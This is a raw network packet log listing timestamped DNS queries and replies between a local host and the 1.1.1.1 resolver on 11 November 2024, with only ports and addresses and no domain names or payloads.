Nov 11, 2024 18:51:08.586344004 CET	53	64840	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.587047100 CET	53	64763	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.587977886 CET	52025	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.588399887 CET	51136	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.588787079 CET	52197	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.588787079 CET	51766	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.594563007 CET	53	61696	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.594575882 CET	53	59482	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.594587088 CET	53	61045	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.594595909 CET	53	53310	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.598737001 CET	53	51136	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.598807096 CET	53080	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.599735975 CET	53272	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.600119114 CET	55356	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.600238085 CET	55802	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.600238085 CET	55118	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.600279093 CET	53	51766	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.600434065 CET	62238	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.600555897 CET	53	52197	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.600759029 CET	49526	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.601049900 CET	60409	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.601586103 CET	64286	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.604738951 CET	61157	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.604931116 CET	56648	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.605211973 CET	58171	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.605314970 CET	65383	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.605635881 CET	58932	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.605635881 CET	53324	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.605829954 CET	62556	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.605829954 CET	52889	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.606009960 CET	54253	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.606009960 CET	63464	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.606311083 CET	64927	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.606311083 CET	64386	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.606484890 CET	64315	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.606484890 CET	65248	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.607402086 CET	53	55802	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.607753038 CET	53	55118	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.609035969 CET	53	53080	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.611563921 CET	53	55356	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.612411976 CET	53	60409	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.612479925 CET	50442	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:08.612654924 CET	53	54199	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.612665892 CET	53	64286	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.613373995 CET	53	63464	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.614099979 CET	53	52889	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.615771055 CET	53	65383	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.615781069 CET	53	56648	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.616183043 CET	53	58932	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.620994091 CET	53	53324	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.621015072 CET	53	62556	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.621581078 CET	53	52025	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.631124020 CET	53	53272	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.631279945 CET	53	49526	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.632184029 CET	53	62238	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.636888981 CET	53	61157	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.637111902 CET	53	58171	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.644059896 CET	53	54253	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.644077063 CET	53	65248	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.644088030 CET	53	64315	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.644098043 CET	53	64927	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.644103050 CET	53	64386	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:08.657875061 CET	53	50442	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:09.100918055 CET	63361	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:09.112818003 CET	53	63361	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.323178053 CET	58090	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.333103895 CET	53	58090	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.557375908 CET	50788	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.557375908 CET	58859	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.563910961 CET	60596	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.564131975 CET	54632	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.564300060 CET	52690	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.567137003 CET	53	50788	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.569895983 CET	53	58859	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.570097923 CET	64290	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.570377111 CET	60018	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.573908091 CET	53	60596	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.574345112 CET	53	54632	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.575547934 CET	53	52690	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.579687119 CET	53	60018	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.594202042 CET	57810	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.594429016 CET	56063	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.594454050 CET	54181	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.594691038 CET	49836	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.594943047 CET	57936	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.595113993 CET	49832	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.595292091 CET	63045	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.595525980 CET	60192	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.595700979 CET	63433	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.596086025 CET	57101	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.596328020 CET	63638	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.601156950 CET	53	64290	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.604321957 CET	53	54181	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.604691029 CET	53	57936	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.605432034 CET	53	63045	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.605443954 CET	53	49836	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.606529951 CET	53	63433	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.606801033 CET	53	60192	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.607244015 CET	53	63638	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.613164902 CET	53	57810	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.625519991 CET	53	49832	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.625581026 CET	53	56063	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.627446890 CET	62223	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:10.630069971 CET	53	57101	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:10.659543037 CET	53	62223	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.841991901 CET	52651	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.843177080 CET	53087	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.844007969 CET	62135	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.852099895 CET	53	62135	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.855186939 CET	58738	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.855288982 CET	61127	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.866982937 CET	62576	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.871445894 CET	64607	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.873735905 CET	53	52651	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.873773098 CET	53	53087	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.874738932 CET	53	58738	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.877029896 CET	53	62576	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.877566099 CET	59192	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.882324934 CET	53	64607	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.884262085 CET	64628	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.886195898 CET	53	61127	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.886809111 CET	61112	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.894273996 CET	56268	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.895488024 CET	51595	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.901329994 CET	63519	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.904342890 CET	59750	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.904750109 CET	53	56268	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.905749083 CET	62394	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.907253981 CET	56805	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.908730984 CET	53	59192	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.912125111 CET	53	63519	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.912337065 CET	55661	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.914239883 CET	54682	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.915860891 CET	53	64628	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.915966034 CET	53	62394	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.918556929 CET	53	61112	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.919830084 CET	54528	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:11.924700975 CET	53	54682	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.927078962 CET	53	54528	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.928138018 CET	53	51595	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.936472893 CET	53	59750	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.937375069 CET	53	56805	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:11.943907022 CET	53	55661	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.185297012 CET	65240	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.192687035 CET	53	65240	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.234761000 CET	51257	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.235008001 CET	61239	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.237982035 CET	56215	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.245083094 CET	58580	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.245116949 CET	53	51257	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.245479107 CET	53	61239	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.245568037 CET	49760	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.255423069 CET	53	49760	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.255621910 CET	53	58580	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.260066986 CET	57855	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.260271072 CET	55622	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.260672092 CET	52087	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.261075974 CET	58616	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.261475086 CET	61052	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.261826038 CET	63594	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.262222052 CET	59338	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.262967110 CET	60992	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.268965960 CET	53	56215	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.271100998 CET	53	63594	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.272173882 CET	53	59338	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.272905111 CET	53	55622	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.274144888 CET	53	60992	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.284285069 CET	53	52087	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.291173935 CET	53	57855	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.294476032 CET	53	58616	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.294487000 CET	53	61052	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.400259972 CET	61708	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.400543928 CET	59085	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.401227951 CET	52686	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.401585102 CET	50345	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.401737928 CET	53394	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.411937952 CET	53	52686	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.412195921 CET	49519	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.412431955 CET	56940	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.418724060 CET	53	61708	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.422681093 CET	53	49519	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.425457954 CET	53	56940	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.432192087 CET	53	59085	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.432746887 CET	53	50345	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.433450937 CET	53	53394	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:12.659071922 CET	62581	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:12.692084074 CET	53	62581	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.220727921 CET	64752	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.226500988 CET	62233	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.226670027 CET	53014	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.226757050 CET	63240	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.231683016 CET	53	64752	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.236881971 CET	53	53014	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.236979008 CET	53	63240	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.237349033 CET	53	62233	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.296760082 CET	60268	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.296957970 CET	59764	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.297101021 CET	55494	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.297239065 CET	51176	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.297374964 CET	59178	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.297518969 CET	51025	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.297668934 CET	64680	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.297806025 CET	60721	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.297996998 CET	50890	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.298548937 CET	63326	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.298904896 CET	52794	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.299509048 CET	55546	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.299675941 CET	51372	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.299931049 CET	49921	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.300080061 CET	52657	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.300224066 CET	51903	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.300385952 CET	53471	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.302961111 CET	52524	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.305586100 CET	53	50890	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.306440115 CET	53	60268	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.307009935 CET	53	51176	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.307384014 CET	53	55494	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.308654070 CET	53	60721	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.308924913 CET	53	63326	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.309056044 CET	53	59178	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.309432030 CET	53	55546	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.310429096 CET	53	52794	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.310535908 CET	53	51903	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.311682940 CET	53	52657	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.314287901 CET	53	52524	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.315238953 CET	58444	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.315777063 CET	57238	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.317702055 CET	56428	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.318222046 CET	54605	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.321271896 CET	65520	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.321518898 CET	55033	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.325062037 CET	53	58444	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.326966047 CET	65531	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.327688932 CET	53	59764	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.328372002 CET	53	64680	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.328663111 CET	53	56428	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.328879118 CET	53	51025	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.330868959 CET	53	49921	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.331181049 CET	53	51372	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.331897974 CET	53	55033	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.332813978 CET	52648	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.333733082 CET	53	53471	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.337476015 CET	53	65531	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.341370106 CET	59975	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.343056917 CET	58601	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.346266985 CET	49622	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.349616051 CET	53	54605	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.350943089 CET	53	52648	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.351924896 CET	53	59975	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.352794886 CET	53	65520	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.353110075 CET	53	58601	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.369209051 CET	53	49622	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.394988060 CET	62606	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.395199060 CET	53308	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.399156094 CET	50587	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.401038885 CET	61114	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.401431084 CET	55352	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.405426025 CET	53	62606	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.405678034 CET	53	53308	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.407453060 CET	50724	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.409857988 CET	53	50587	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.410773039 CET	53	61114	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.412077904 CET	53	55352	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.417659044 CET	53	50724	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.474196911 CET	56336	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.477722883 CET	63779	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.485918045 CET	53	56336	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.488329887 CET	53	63779	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.564053059 CET	51000	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.568816900 CET	59194	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:13.578509092 CET	53	59194	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.596298933 CET	53	51000	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:13.657803059 CET	53	57238	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.034383059 CET	51218	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.041646957 CET	53	51218	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.054358959 CET	55142	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.086572886 CET	53	55142	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.130157948 CET	54218	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.141669989 CET	53	54218	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.144282103 CET	61226	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.145277023 CET	63527	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.151777983 CET	65497	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.168847084 CET	53903	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.175889015 CET	53	63527	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.177206039 CET	53	61226	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.183469057 CET	53	65497	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.200845957 CET	49196	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.200932980 CET	53	53903	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.208247900 CET	53	49196	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.223198891 CET	63486	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.230279922 CET	53	63486	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.604166031 CET	50709	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.615231037 CET	63772	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.615686893 CET	62609	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.616175890 CET	63603	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.616507053 CET	49659	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.616853952 CET	62765	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.616916895 CET	56020	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.617285013 CET	62119	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.617721081 CET	52000	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.617847919 CET	64611	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.618421078 CET	63521	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.619286060 CET	53699	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.619904041 CET	49954	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.624336004 CET	53	63772	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.626136065 CET	53	63603	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.626149893 CET	53	62609	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.629007101 CET	53	62765	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.629021883 CET	53	56020	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.629101992 CET	53	53699	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.629668951 CET	53	52000	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.629725933 CET	53	62119	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.630150080 CET	53	64611	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.630565882 CET	53	49659	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.636856079 CET	53	50709	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.639509916 CET	63315	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.640820026 CET	62237	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.651042938 CET	53	62237	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.651053905 CET	53	63521	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.652462959 CET	53	63315	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.654305935 CET	53	49954	1.1.1.1	192.168.2.6
Nov 11, 2024 18:51:14.661923885 CET	52173	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.662106037 CET	62781	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.662287951 CET	51383	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.662441015 CET	57426	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.662607908 CET	51370	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.662767887 CET	56642	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.663192987 CET	60796	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.663336992 CET	52643	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.663486958 CET	59905	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.663616896 CET	61504	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.663743019 CET	57865	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.664007902 CET	57081	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.664086103 CET	63929	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.664158106 CET	60878	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.664308071 CET	53167	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.664328098 CET	53691	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.664504051 CET	52083	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.664529085 CET	54141	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:51:14.664688110 CET	60967	53	192.168.2.6	1.1.1.1
